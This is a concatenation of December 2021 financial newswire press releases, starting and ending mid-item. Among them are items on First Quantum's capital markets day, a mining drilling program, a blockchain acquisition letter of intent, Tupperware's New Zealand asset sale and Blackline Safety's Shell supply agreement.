compared to the 1.5 percent surge originally reported for the previous month. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. TORONTO, Dec. 15, 2021 (GLOBE NEWSWIRE) -- First Quantum Minerals Ltd. ("FQM" or the "Company") (TSX: FM) announces that it will be hosting a virtual Capital Markets Day on January 18, 2022. This virtual event will feature presentations by Chief Operating Officer, Tristan Pascall, and members of senior management outlining the company's strategy, three-year guidance, organic growth profile, ESG initiatives and capital allocation approach. The three-hour virtual capital markets event will commence at 9:00 EST (14:00 BST). The listen-only webcast will be available on First Quantum's website at www.first-quantum.com (http://www.first-quantum.com). For participants who wish to participate in the question-and-answer sessions, please dial in to the event using the details below. Capital Markets Day Dial-in Details: Toll-free North America: 1-800-898-3989 Toronto Local and International: 416-406-0743 Toll-free UK: 00-80042228835 Passcode: 5501767# The presentation slides will be available for download on January 18, 2022 at 8:30 EST (13:30 BST) from the First Quantum website. A replay will be available within 24 hours of the presentation ending at the same link as the live webcast. The presentation will also be archived on First Quantum's website. For further information, visit our website at www.first-quantum.com (http://www.first-quantum.com) or contact: Bonita To, Director, Investor Relations (416) 361-3400 Toll-free: 1 (888) 688-6577 E-Mail: info@fqml.com CAUTIONARY STATEMENT ON FORWARD-LOOKING INFORMATION Certain statements and information provided at the event, including all statements that are not historical facts, will contain forward-looking statements and forward-looking information within the meaning of applicable securities laws. The forward-looking statements may include estimates, forecasts and statements as to the Company's expectations of production and sales volumes, and expected timing of completion of project development at Enterprise and post-completion construction activity at Cobre Panama and are subject to the impact of ore grades on future production, the potential of production disruptions, potential production, operational, labour or marketing disruptions as a result of the COVID-19 global pandemic, capital expenditure and mine production costs, the outcome of mine permitting, other required permitting, the outcome of legal proceedings which involve the Company, information with respect to the future price of copper, gold, nickel, silver, iron, cobalt, pyrite, zinc and sulphuric acid, estimated mineral reserves and mineral resources, First Quantum's exploration and development program, estimated future expenses, exploration and development capital requirements, the Company's hedging policy, and goals and strategies. Often, but not always, forward-looking statements or information can be identified by the use of words such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate" or "believes" or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved. With respect to forward-looking statements and information provided at the event, the Company makes numerous assumptions including among other things, assumptions about continuing production at all operating facilities, the price of copper, gold, nickel, silver, iron, cobalt, pyrite, zinc and sulphuric acid, anticipated costs and expenditures and the ability to achieve the Company's goals. Forward-looking statements and information by their nature are based on assumptions and involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward looking statements or information. These factors include, but are not limited to, future production volumes and costs, the temporary or permanent closure of uneconomic operations, costs for inputs such as oil, power and sulphur, political stability in Zambia, Peru, Mauritania, Finland, Spain, Turkey, Panama, Argentina and Australia, adverse weather conditions in Zambia, Finland, Spain, Turkey, Mauritania, Australia and Panama, labour disruptions, potential social and environmental challenges (including the impact of climate change), power supply, mechanical failures, water supply, procurement and delivery of parts and supplies to the operations, the production of off-spec material and events generally impacting global economic, political and social stability. See the Company's Annual Information Form for additional information on risks, uncertainties and other factors relating to forward-looking statements and information. Although the Company attempts to identify factors that would cause actual actions, events or results to differ materially from those disclosed in forward-looking statements or information, there may be other factors that cause actual results, performances, achievements or events not to be anticipated, estimated or intended. Also, many of these factors are beyond First Quantum's control. Accordingly, readers and attendees should not place undue reliance on forward-looking statements or information. The Company undertakes no obligation to reissue or update forward-looking statements or information as a result of new information or events after the date hereof except as may be required by law. All forward-looking statements and information provided at the event are qualified by this cautionary statement. New Data Identifies Manufacturing Industry's Five Most Critical Priorities for 2022 ALPHARETTA, Ga., Dec. 15, 2021showcases a faster return to growth following the pandemic for manufacturing organizations that have achieved digital transformation maturity. The study, in which the sponsor was not revealed to the respondents, indicates that manufacturers who have undertaken digital transformation projects have generated higher revenue growth in 2021 than those who have yet to embark on that journey. Manufacturing organizations in advanced stages of transformation recorded average year-on-year revenue growth of 8.9% in 2021, compared to 1.4% among manufacturers that have not started digital transformation projects. The research also revealed a relatively healthy state of recovery from challenges created by the COVID-19 pandemic with 40% of North American manufacturers now classing themselves as prospering. A further 25% say their organization has fully recovered from market turbulence, while 19% are still recovering. Fifteen percent (15%) of manufacturers claim their business is still struggling. Almost half (44%) of prospering manufacturers are already on a digital transformation journey. The research was conducted by Aptean and B2B International between September and October 2021. Responses came from 275 business decision makers at manufacturing companies in North America within the process and discrete manufacturing sectors. The study identified five critical priorities that manufacturers must address in 2022 and these - along with the full research findings - are now available in a new whitepaper, The Aptean 2022 Manufacturing Forecast: Industry Insights from Discrete and Process Manufacturers. "Digital transformation is no longer a medium-term objective for manufacturers; our research shows it's imperative in order to thrive in the new normal of manufacturing," said TVN Reddy, CEO at Aptean. "Many companies feel too confined by day-to-day demands to launch their digital transformation strategy, but in reality, prioritizing modern manufacturing software enables them to reduce the operational burden on their workforce and focus on strategic innovation to drive revenue growth." In addition to the impact of digital transformation, the research explored: How operational and supply chain challenges have impacted manufacturers' customer relationships in 2021 Which business areas manufacturers believe will be most transformed through technology How sub-sector, company size and maturity has impacted manufacturers' overall performance and technology investment priorities Copies of the Aptean 2022 Manufacturing Forecast are now available for download here. About Aptean Aptean is one of the world's leading providers of purpose-built, industry-specific software that helps manufacturers and distributors effectively run and grow their businesses. With both cloud and on-premise deployment options, Aptean's products, services and unmatched expertise help businesses of all sizes to be Ready for What's Next, Now. Aptean is headquartered in Alpharetta, Georgia and has offices in North America, Europe and Asia-Pacific. To learn more about Aptean and the markets we serve, visit www.aptean.com. Aptean is a trademark of Aptean, Inc. All other company and product names may be trademarks of the respective companies with which they are associated. For Media Inquiries Please Contact Nicole O'Rourke Chief Marketing Officer Nicole.ORourke@aptean.com (770) 715-0362 Leader in cloud-native application optimization recognized for ML-driven approach to Kubernetes performance CAMBRIDGE, MA / ACCESSWIRE/ December 15, 2021 / StormForge, the leader in cloud-native application performance testing and resource optimization, today announced it has been declared a finalist in the international cloud computing awards program, The Cloud Awards. Now in its tenth year, The Cloud Awards seeks to identify, promote, and celebrate innovation in cloud computing. The awards program welcomes global entrants from organizations of any scale. Categories for the 2021-22 Cloud Awards include "Cloud Project of the Year," "Most Innovative Use of Data in the Cloud," and "Best Place to Work in the Cloud." StormForge has been shortlisted in four categories: Best Cloud Automation Solution Best Use of Artificial Intelligence in Cloud Computing Cloud Disruptor of the Year Cloud Management Solution of the Year "The Cloud Awards is an important recognition in the cloud computing industry, so to be recognized at this level is an incredible honor," said Amy Medeiros, senior vice president of marketing, StormForge. "We believe in combining enterprise-grade performance testing with patent-pending machine learning to automatically find the optimal configurations for your applications, enabling your organization to innovate and accelerate past your competition." Head of Operations for the Cloud Awards, James Williams, said: "StormForge is a clear example of an organization using innovative technologies to achieve excellence - and, most importantly, provide value to its clients." "After a decade of identifying and celebrating leading figures in the cloud sector, The Cloud Awards team is still unearthing new and remarkable uses of cloud technology. In the best examples, these innovations unlock transformative business practices and efficiencies. These celebrated organizations and individual innovators continue to disrupt existing markets and create new ones." The explosive growth of cloud-native and microservices applications has changed the way that businesses approach their technology infrastructure. StormForge's dedicated ML-powered platform is purpose-built for Kubernetes and accelerates cloud-native deployments, giving businesses a true competitive advantage. Hundreds of organizations entered, with entries coming from across the globe, covering the Americas, Australia, Europe and the Middle East. You can view the full shortlist here: https://www.cloud-awards.com/2021-shortlist/. Final winners will be announced on February 8, 2022. About the Cloud Awards The Cloud Awards is an international program which recognizes and honors industry leaders, innovators and organizational transformation in cloud computing. The awards are open to large, small, established and start-up organizations from across the entire globe, with an aim to find and celebrate the pioneers who will shape the future of the Cloud. The Cloud Awards currently offers two awards programs, the Cloud Computing Awards and the Software-as-a-Service Awards. Categories for the Cloud Computing Awards include Most Promising Start-Up, Best SaaS, and "Best in Mobile" Cloud Solution. Finalists were selected by a judging panel of international industry experts. For more information about the Cloud Awards, please visit https://www.cloud-awards.com/. About StormForge StormForge brings together world-class data scientists and software engineers to enable businesses to drive breakthrough IT and operations efficiency. The StormForge Platform is set apart by its unwavering focus on building AI-powered software products that are designed to help people, not replace them. The StormForge Platform uses enterprise grade performance testing coupled with machine learning to drive major application performance gains and cost reductions in complex environments. In February 2020, StormForge announced funding from Insight Partners to accelerate the growth of its Platform. StormForge was founded in 2015 and is based in Boston and Washington, DC. Learn more at www.stormforge.io. Media Contact Jennifer Cloer 503-867-2304 jennifer@storychangesculture.com SOURCE: StormForge View source version on accesswire.com:https://www.accesswire.com/677701/StormForge-a-Finalist-in-2021-22-Cloud-Awards Integration of OMS EHR, diagnostic and analytics solutions supports Illinois-based group cardiovascular practice with increasing physician efficiency, reducing readmissions, and improving patient care help HOUMA, LA / ACCESSWIRE / December 15, 2021 / Objective Medical Systems (OMS), a leading Health Information Technology provider, announced the seamless implementation of their Cardiovascular Information System (EHR, Diagnostic structured reporting, Population Health Analytics, and Remote Patient Monitoring) by the Midwest Cardiovascular Institute (MCI). With the OMS platform, the Illinois-based MCI team of cardiologists will have the ability to streamline their clinical workflow leading to enhanced productivity, physician efficiency, quality of care, and improved patient outcomes. "Partnering with Objective Medical Systems has been a strategic investment for our 20-plus physician practice at a time when more patients are seeking cardiac care, which may have been put off at the start of the pandemic," said Jacob Corbell, CEO of Midwest Cardiovascular Institute. "This comprehensive, integrated solution enables our cardiologists to gain a 360-degree view of the patient. Reporting and accessing diagnostic studies directly from the platform provides tremendous clinical and operational efficiency. In addition, seamless monitoring of key clinical cardiovascular metrics across our patient population will ultimately enhance the quality of care." Included in the implementation are four OMS Software solutions: OMS Electronic Health Record: This cardiovascular specialty-specific EHR allows MCI physicians to access critical clinical information - including diagnostic tests and results - without logging into a different application or platform. Enhanced by artificial intelligence, the OMS EHR reduces information overload by filtering relevant patient data and providing timely information to support each visit. This cardiovascular specialty-specific EHR allows MCI physicians to access critical clinical information - including diagnostic tests and results - without logging into a different application or platform. Enhanced by artificial intelligence, the OMS EHR reduces information overload by filtering relevant patient data and providing timely information to support each visit. OMS Trace Analytics: Offers a dedicated analytical dashboard to deliver deep clinical insights for cardiovascular diseases, including hypertension, dyslipidemia, atrial fibrillation (Afib), heart failure, coronary artery disease, and peripheral artery disease. Offers a dedicated analytical dashboard to deliver deep clinical insights for cardiovascular diseases, including hypertension, dyslipidemia, atrial fibrillation (Afib), heart failure, coronary artery disease, and peripheral artery disease. OMS Diagnostics Reporting : An intuitive structured diagnostic reporting solution that creates, interprets, and reports on a wide array of diagnostic modalities like echocardiogram, myocardial perfusion imaging, PET, Holter, EKG, and ambulatory cardiac telemetry. : An intuitive structured diagnostic reporting solution that creates, interprets, and reports on a wide array of diagnostic modalities like echocardiogram, myocardial perfusion imaging, PET, Holter, EKG, and ambulatory cardiac telemetry. OMS Chronic Care Management (OMS C3): OMS C3 remote patient monitoring and management platform plug seamlessly into native EHR's to help it work harder, guiding staff through care plan creation, simplifying patient engagement through VOIP or videoconferencing, automatically logging patient interaction time, and automating charge creation. "For cardiology practices with multiple locations like Midwest Cardiovascular Institute, managing vital patient information is paramount to ensuring the highest quality care is delivered," said Dr. Vinod Nair, president and chief software architect for Objective Medical Systems and a practicing interventional cardiologist. "Through this strategic partnership, MCI cardiologists will now have access to the innovative solutions needed to efficiently present actionable information to all care team members while improving patient outcomes, reducing workflow pain-points, and supporting best-care practices for cardiology." To learn more about how the Objective Medical Systems technology suite of EHR software and diagnostic tools is helping cardiologists optimize clinical quality and operational workflows, saving time and money for both providers and patients, visit: https://objectivemedicalsystems.com/ About Midwest Cardiovascular Institute Midwest Cardiovascular Institute (MCI) is a team of 20+ cardiologists and advanced practice nurses providing comprehensive cardiovascular care in Naperville and Elmhurst, Illinois. MCI is dedicated to putting patients first through clinical excellence, communication, and compassion with the mission to provide the highest-quality cardiovascular care available. MCI cardiologists represent nearly every specialty in heart and vascular medicine, including treatment of coronary artery disease, peripheral vascular disease, valve disease, structural heart defects, electrophysiology, advanced heart failure, interventional cardiology, venous disease, nuclear cardiology, and lipid management. To learn more, visit www.midwestcardio.com. About Objective Medical Systems Objective Medical Systems is a health information technology company that focuses on Cardiovascular software solutions for busy cardiology departments and practices across the nation. OMS was founded on the belief that discrete data and background analysis will revolutionize the practice of medicine, improve patient care, increase physician efficiency, and reduce errors. The OMS software solution was developed and inspired by leading cardiologists in each sub-specialty of cardiology. By maintaining a narrow focus on cardiology, OMS can offer an elaborate, powerful, and user-intuitive solution. For more information, visit http://www.objectivemedicalsystems.com and connect with us at @omscardiology and LinkedIn. Media Contact: Tom Testa 617-872-0184 tom@andersoni.com SOURCE: Objective Medical Systems View source version on accesswire.com:https://www.accesswire.com/677680/Midwest-Cardiovascular-Institute-Partners-with-Objective-Medical-Systems-to-Improve-Workflows-and-Enhance-Care-Delivery BALTIMORE, MD / ACCESSWIRE / December 15, 2021 / Tiderock Companies, Inc. ("we", "our", or the "Company"), (OTC PINK:TDRK) is pleased to announce that its' subsidiary Sora Ventures, LLC has signed a Letter of Intent with Courtland Plaza LLC ("Seller") to become the strategic development partner for their 94 Unit, 277-Bed Student Housing Facility in New Brunswick, New Jersey servicing Rutgers University (the "Project"). As Co-Developer, Tiderock Companies, brings its 12 years of Student Housing and Public Private Partnership expertise to supply development support, project management, construction oversight, marketing, and support. Tiderock Companies and Port One Management, LLC, (collectively "Partnership" and/or "Buyer") have established a partnership to co-develop a slate of projects with the Courtland Plaza team and will demonstrate their commitment starting with making a multi-million-dollar equity investment into the Project. The Project is fully approved and currently under construction and is scheduled for occupancy in the Summer of 2023 with a total development budget exceeding $30 million dollars. Execution of definitive documents Between the Partnership and Courtland Plaza will be subject to successful completion of traditional project due diligence, it is anticipated the project will close within the next 30 days. Seller shall deliver to Buyer the final project budget, ("Budget"), all signed contracts, the operating agreement, loan documents, market study, environmental report, plans, approvals, title documents, and alike for Buyer's due diligence review. The Buyer shall use commercially reasonable efforts to review all of these collateral materials within Fifteen (15) Days from receipt and shall advise Seller in writing when Buyer is satisfied with its review. Tiderock CEO, Thomas Fore stated, "The Port One and Tiderock partnership has exceeded my expectations. I could not be happier. I am sincerely honored to be joining our esteemed colleagues leading the Courtland Plaza Development and to be returning to New Jersey to help execute this wonderful student housing project for Rutgers University. Our goal is to develop 800 units at Rutgers over the next 3 years." About Tiderock Companies, Inc.: Tiderock Companies is a real estate investment, advisory services, and development company with over 20 years of experience. We specialize in deal structure and planning, entitlements, budgeting and project management with over $200 million in current projects. Tiderock Companies, Inc. (OTC Pink: TDRK) is headquartered in Baltimore, MD., and can be contacted at www.tiderockcompanies.com or by phone at (800) 791-8433. Notice Regarding Forward-Looking Statements in this press release which are not purely historical are forward-looking statements and include any statements regarding beliefs, plans, expectations or intentions regarding the future. Actual results could differ from those projected in any forward-looking statements due to numerous factors. These forward-looking statements are made as of the date of this news release, and we assume no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those projected in the forward-looking statements. Although we believe that any beliefs, plans, expectations and intentions contained in this press release are reasonable, there can be no assurance that any such beliefs, plans, expectations or intentions will prove to be accurate. For more information: Tiderock Companies, Inc. Thomas B. Fore, CEO Email: info@tiderockcompanies.com Phone: (800) 791-8433 SOURCE: Tiderock Companies, Inc. View source version on accesswire.com:https://www.accesswire.com/677772/Tiderock-Companies-Enter-into-Agreement-to-Co-Develop-277-Bed-Student-Housing-Project-Near-Rutgers-University Dieppe, New Brunswick--(Newsfile Corp. - December 15, 2021) - Colibri Resource Corporation (TSXV: CBI) ("Colibri" or the "Company") is pleased to announce that further to its news release dated December 9th, 2021, partner Tocvan Ventures Corp. ("Tocvan") has begun a drilling program at the Pilar Gold & Silver Project. Tocvan is currently in its 3rd year of a 5 year agreement to earn an initial 51% of Colibri's Pilar Gold & Silver Project located in the prolific gold producing state of Sonora in Mexico. For full details of Colibri's agreement with Tocvan please see the Company's news release dated September 24th, 2019. Tocvan reports Drilling has commenced at the Pilar Au-Ag Project in Sonora, Mexico. Building off of successful Phase I and II drill programs (Figure 1.), drilling of 5,000 to 8,000 meters is planned between now and July of 2022. Drilling will focus on continued step-out drilling along the Main Zone Trend and new 4-Trench Trend. Exploration drilling will continue to evaluate target areas along the Triple Vein Zone. Surface exploration work is currently underway on key target areas and channel samples from the recent trench program have been submitted for analysis. Drill Plan Overview Initial Phase of 3,500 meters drilling planned for Q1/2022, followed by up to 4,500 meters of drilling Drilling to include: Step-outs of Main Zone Expansion targets JES-21-43: 35.1m @ 0.66 g/t Au JES-21-47: 47.7m @ 0.75 g/t Au including 3m @ 5.6 g/t Au and 22 g/t Ag JES-21-50: 39.7m @ 0.96 g/t Au, including 1.5m @ 14.6 g/t Au Step-out and Exploration drilling along 4-Trench trend JES-21-53: 15.3m @ 1.1 g/t Au - New 4-Trench Trend Exploration drilling along Triple Vein Zone Four artisanal surface and underground workings over 200-meter strike with surface sampling up to 4.5 g/t Au and 735 g/t Ag . Figure 1. Plan Map of Highlight Drill Holes from 2021 and Key Target Areas for Upcoming Operations. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/4269/107707_231399fcc4f07b83_001full.jpg About the Pilar Property The Pilar Gold-Silver property is interpreted as a structurally controlled low-sulphidation epithermal project hosted in andesite rocks. Three zones of mineralization have been identified in the north-west part of the property from historic surface work and drilling and are referred to as the Main Zone, North Hill and 4-Trench. Structural features and zones of mineralization within the structures follow an overall NW-SE trend of mineralization. Over 22,700 m of drilling have been completed to date. Significant results are highlighted below: 2021 Phase II RC Drilling Highlights include ( all lengths are drilled thicknesses ): 39.7m @ 0.96 g/t Au, including 1.5m @ 14. g/t Au 47.7m @ 0.75 g/t Au including 3m @ 5.6 g/t Au and 22 g/t Ag 29m @ 0.71g/t Au 35.1m @ 0.66 g/t Au 2020 Phase I RC Drilling Highlights include ( all lengths are drilled thicknesses ): 94.6m @ 1.6 g/t Au, including 9.2m @ 10.8 g/t Au and 38 g/t Ag; 41.2m @ 1.1 g/t Au, including 3.1m @ 6.0g/t Au and 12 g/t Ag ; 24.4m @ 2.5 g/t Au and 73 g/t Ag, including 1.5m @ 33.4 g/t Au and 1,090 g/t Ag 17,700m of Historic Core & RC drilling. Highlights include: 61.0m @ 0.8 g/t Au 16.5m @ 53.5g/t Au and 53 g/t Ag 13.0m @ 9.6 g/t Au 9.0m @ 10.2 g/t Au and 46 g/t Ag Soil and Rock sampling results from undrilled areas indicate mineralization extends towards the southeast from the Main Zone and 4-Trench Zone. Recent Surface exploration has defined three new target areas: Triple Vein Zone, SE Vein Zone and 4 Trench Extension. ABOUT COLIBRI RESOURCE CORPORATION: Colibri is a Canadian-based mineral exploration company listed on the TSX-V (CBI) and is focused on acquiring and exploring prospective gold & silver properties in Mexico. The Company has six exploration projects of which five currently have exploration programs being executed 2021 and 2022. The flagship Evelyn Gold Project is 100% owned and explored by Colibri. The Company has four additional projects: (1) The Pilar Gold & Silver Project which is under option to Tocvan Ventures (CSE: TOC), the (2) El Mezquite Gold & Silver Project , (3) Jackie Gold & Silver Project, and (4) Diamante Gold & Silver Project are also currently being actively advanced by partner Silver Spruce Resources (TSXV: SSE) who is earning 50% in each of the three projects. Upon SSE earning 50% ownership, SSE and CBI will continue to advance these projects as JV partners. For more information about all Company projects please visit: www.colibriresource.com. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Notice Regarding Forward-Looking Statements: This news release contains "forward-looking statements". Statements in this press release which are not purely historical are forward-looking statements and include any statements regarding beliefs, plans, expectations or intentions regarding the future. Actual results could differ from those projected in any forward-looking statements due to numerous factors. These forward-looking statements are made as of the date of this news release, and the Company assumes no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those projected in the forward-looking statements. Although the Company believes that the plans, expectations and intentions contained in this press release are reasonable, there can be no assurance that they will prove to be accurate. For information contact: Ronald J. Goguen, President, Chairperson and Director, Tel: (506) 383-4274, rongoguen@colibriresource.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107707 NEW YORK, NY / ACCESSWIRE / December 15, 2021 / The 5th Global Innovation and Future Summit (GIFTs) has been held at the Santa Clara Convention Center in Silicon Valley on Dec. 14, 2021. Anmai Cloud provided technical support for the summit's online live broadcast as the "Integrated Media Storage Technology Supporter". This will be Anmai's second collaboration. The first collaboration took place during the "Anmai Cloud Links to World Famous Schools with Z-Park North America. GIFTs, which began in Silicon Valley in 2017, has been successfully held four times - Silicon Valley, Boston, London, and Beijing. It is an industry event focused on sharing, cooperation, mutual benefit, and win-win. This year's theme is "Technology and Healthcare: Shaping New Future", and more than 30 elite leaders from global industry, investment to academia will discuss their views on Disruptive Technologies in Emerging Markets, Healthcare Innovation Fueling Post-Covid Recovering and The Future of Venture Capital Investment. The conference will focus on five major areas, including healthcare and post-covid, energy and carbon neutral, artificial intelligence, cyber security and venture capital. The 2021 summit adopts the mode of "online + offline" fusion linkage. Anmai Cloud has provided integrated media storage technology support for the summit, using the innovative technologies of blockchain and IPFS protocols to integrate the storage resources of the whole network, guaranteeing targeted live data storage and high availability and security of data to strongly support the online live broadcast of this summit. About Anmai Anmai Cloud Network Technology Co., Ltd., located in Hainan, is a global distributed encrypted storage all-in-one technology service provider. It is committed to bringing decentralized data storage services with high availability, high security, and low cost to enterprises. The infrastructure is available to many countries in Europe, Australia, North America and regions of China, with the number of cooperated storage service providers over 100 to meet the diversified enterprise IT architecture in time. It is suitable for major mainstream cloud platforms and provides software and hardware integrated solutions. Anmai Cloud has always focused on the R&D and innovation of distributed storage, blockchain, data encryption security and other underlying technologies. The company will continue to adhere to the concept of "R&D-driven, compliant and secure" and dig deeper into the industrial dividend and empower enterprises with decentralized data storage technology. Media Contact Company Name: Anmai Cloud Contact Person: Vera Zhuang Email: pr@anmaicloud.com Address: Room 3001, Floor 2, Building A7, Hainan Ecological Software Park, High-tech Industry Demonstration Zone, Laocheng Town, Chengmai County, Hainan Province, China Telephone: 347-940-9404 Website: https://www.anmaicloud.com SOURCE: Anmai Cloud View source version on accesswire.com:https://www.accesswire.com/677816/Anmai-Cloud-Supports-The-5th-Global-Future-Innovation-Summit-with-Distributed-Encrypted-Storage-Technology Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - Sensor Technologies Corp. (CSE: SENS) ("Sensor") is pleased to announce, that further to Sensor's press release of December 7th, 2021, Blockchain Assets Management Group Limited ("BAM") has created Club Leusureella Inc. ("Club"), a wholly-owned subsidiary company which is a membership based global club. Club is a social media and e-commerce platform. The social media platform will allow members to post, follow, be followed, create timelines and interact with comments. The e-commerce platform will offer unique products, services, and experiences to its members such as supplements, beauty, travel, luxury jewelry, arts, and more. BAM anticipates launching the social media and e-commerce platforms in the first quarter of 2022. In addition, BAM also intends to create: (i) a utility token which will be used as currency in the e-commerce and social media platforms; (ii) an e-wallet and POS that, by utilizing BAM's blockchain, is anticipated to minimize transaction time and cost; and (iii) a one-of-a-kind NFT platform to tokenize traditional arts like paintings, antiques, and precious stones. Club Leusureella Inc.'s Managing Director is Ari Lozana. Mr. Lozana is the founder of Smarter Gaia Cities of the Future, a HUB aimed at converging and integrating technologies and solutions necessary for the development and deployment of new urban creations, harmonized and in complete balance between the needs of its inhabitants and the natural environment. Mr. Lozana was also the managing partner of Karim (Noble) Technologies LLC., an IT solutions company focused on creating innovative ways of integrating digital products and services and the education. As a blockchain developer, BAM intends to develop a number of blockchain applications to meet market expectations. Pursuant to its press release of December 7, 2021, Sensor entered into a non-binding letter of intent dated November 25, 2021 with BAM. Pursuant to the letter of intent, Sensor has agreed to acquire up to 20% of the issued and outstanding securities in the capital of BAM (the "BAM Shares") for a purchase price of up to CAD$1 million (the "BAM Purchase Price"). The final BAM Purchase Price will be determined by the parties upon the completion of Sensor's due diligence. The BAM Purchase Price may be satisfied either through (i) cash consideration paid on the closing of the acquisition of the BAM Shares; (ii) the issuance of common shares (the "BAM Consideration Shares") in the capital of Sensor at a price per BAM Consideration Share to be determined in the context of the market; or (iii) a combination of cash consideration and issuance of BAM Consideration Shares. The acquisition of the BAM Shares (the "BAM Transaction") is subject to requisite shareholder and regulatory approval, including the approval of the CSE and standard closing conditions, including the completion of due diligence investigations to the satisfaction of each of BAM and Sensor. Prior to completion of the BAM Transaction, Sensor and BAM shall negotiate and enter into a definitive share exchange agreement on commercially reasonable terms and the parties shall have obtain the requisite shareholder approvals for the BAM Transaction. About BAM BAM is a blockchain company whose main asset is a secure blockchain platform that was built from the ground up by its in-house team of developers and engineers. Owning and developing its own block chain gives BAM advantages over other blockchain/smart contract platforms, such as: A complete platform to build almost any type of application; The ability to establish native cryptocurrency; The ability to add and support any other global blockchain network; A high level of decentralization; Regular updates and upgrades to the core code as its development team sees fit; and Documentation and direct access to its team of developers with experience. Other blockchains such as Stellar, NEO, Stratis, and EOS have a similar offering, but with differing technological and protocol differences and platform bottlenecks. Blockchain systems are built as protocols. That means that performance is largely determined by technical decisions and trade-offs. BAM's own decentralized blockchain allow a network of users to make an agreement and a mechanism for coming to a consensus on which actions and transactions are valid. This mechanism is computationally expensive and slows down most blockchains as proof of work or "mining" significantly. However, BAM decided long ago that the designing and structuring these mechanisms is what determines the performance of a decentralized platform and would not have to make trade-offs between scalability security and speed as BAM blockchain source code is 100% developed internally. Confirmation time is the time it takes for your transactions to go through the network. Sending Bitcoin to a friend will take an average of 10 minutes. On the BAM network, transaction will take approximately 1 to 2 seconds. The entering into of the BAM definitive agreement will be considered a fundamental change under Policy 8 of the CSE and, as such, will subject to all of the requirements of Policy 8 including, but not limited to, CSE and shareholder approval. All information contained in this news release with respect to BAM was supplied by BAM for inclusion herein, and each party and its directors and officers have relied on the other party for any information concerning the other party. Completion of the BAM Transaction is subject to a number of conditions, including CSE acceptance and shareholder approval. The transaction cannot close until the required shareholder approval is obtained. There can be no assurance that the transactions will be completed as proposed or at all. Investors are cautioned that, except as disclosed in the management information circular to be prepared in connection with the transactions, any information released or received with respect to the transactions may not be accurate or complete and should not be relied upon. Trading in the securities of Sensor should be considered highly speculative. The CSE has in no way passed upon the merits of the proposed transaction and has neither approved nor disapproved the contents of this press release About Sensor Sensor develops non-intrusive asset health monitoring sensor systems for the oil and gas market to help operators track the thinning of pipelines and refinery vessels due to corrosion/erosion, strain due to bending/buckling and process pressure and temperature. Sensor's FT fiber optic sensor and corrosion monitoring systems allow cost-effective, 24/7 remote monitoring capabilities to improve scheduled maintenance operations, avoid unnecessary shutdowns, and prevent accidents and leaks. Corporation contact: Jay Vieira, President, CEO email: jay@fox-tek.com The CSE has not reviewed and does not accept responsibility for the adequacy or accuracy of this release. Cautionary Note regarding Forward-looking Statements This news release includes certain information and forward-looking statements about management's view of future events, expectations, plans and prospects that constitute forward-looking statements. These statements are based upon assumptions that are subject to significant risks and uncertainties. Because of these risks and uncertainties and as a result of a variety of factors, the actual results, expectations, achievements or performance may differ materially from those anticipated and indicated by these forward looking statements. Although the Corporation believes that the expectations reflected in forward-looking statements are reasonable, it can give no assurances that the expectations of any forward-looking statement will prove to be correct. Except as required by law, the Corporation disclaims any intention and assumes no obligation to update or revise any forward-looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward-looking statements or otherwise. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107706 WASHINGTON (dpa-AFX) - Tupperware Brands Corporation (TUP), a company focused on kitchen and household products, said Wednesday that it sold real estate assets associated with its Nutrimetics beauty business in New Zealand for NZ$20.5 million or about $14 million. The sale, comprising two warehouses and a manufacturing facility, was in line with the company's turnaround plan strategy of divesting non-core assets, Tupperware said in a statement. Miguel Fernandez, Chief Executive Officer of Tupperware Brands, commented: 'Our Turnaround Plan commitment to focus on our core business remains steadfast, and the decision to sell these assets in New Zealand demonstrates that commitment, while also unlocking capital that can be deployed in order to fuel our transformation.' In addition, the Grafton-headquartered company also announced the lease-back of its real estate properties related to its New Zealand division. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Blackline Safety Corp. (TSX: BLN), a global leader of gas detection and connected safety solutions, today announced it has been named a preferred supplier of portable gas detection equipment for Royal Dutch Shell. This preferred supplier status is part of a three-year global framework agreement to support the technology safety programs at Shell's offshore and onshore facilities and installations around the world. Technological advancement to support digital transformation "We know that Shell has choice in gas detection, and we are thrilled to be selected to provide our connected worker solutions enterprise-wide, while supporting their digital transformation journey," said Cody Slater, CEO and Chair for Blackline Safety. "Our partnership brings a new level of technological advancement to Shell's gas detection capabilities, replacing legacy devices with our cloud-connected, location-enabled G7 safety wearables and G7 EXO portable area gas monitors that offer 24/7 protection and visibility to workers and worksites of all types." Easy to use devices generate data to generate value Blackline Safety's G7 wearable gas detection devices and G7 EXO portable area monitors deliver optional 24/7 live monitoring by personnel who can initiate an alert and ensure the safety of workers in the event of an emergency. The data analytics from these devices also generate insights to help customers make sound, proactive business decisions that support a well-rounded, efficient and cost-effective safety program. About Blackline Safety Blackline Safety is a global connected safety leader that helps to ensure every worker gets their job done and returns home safely each 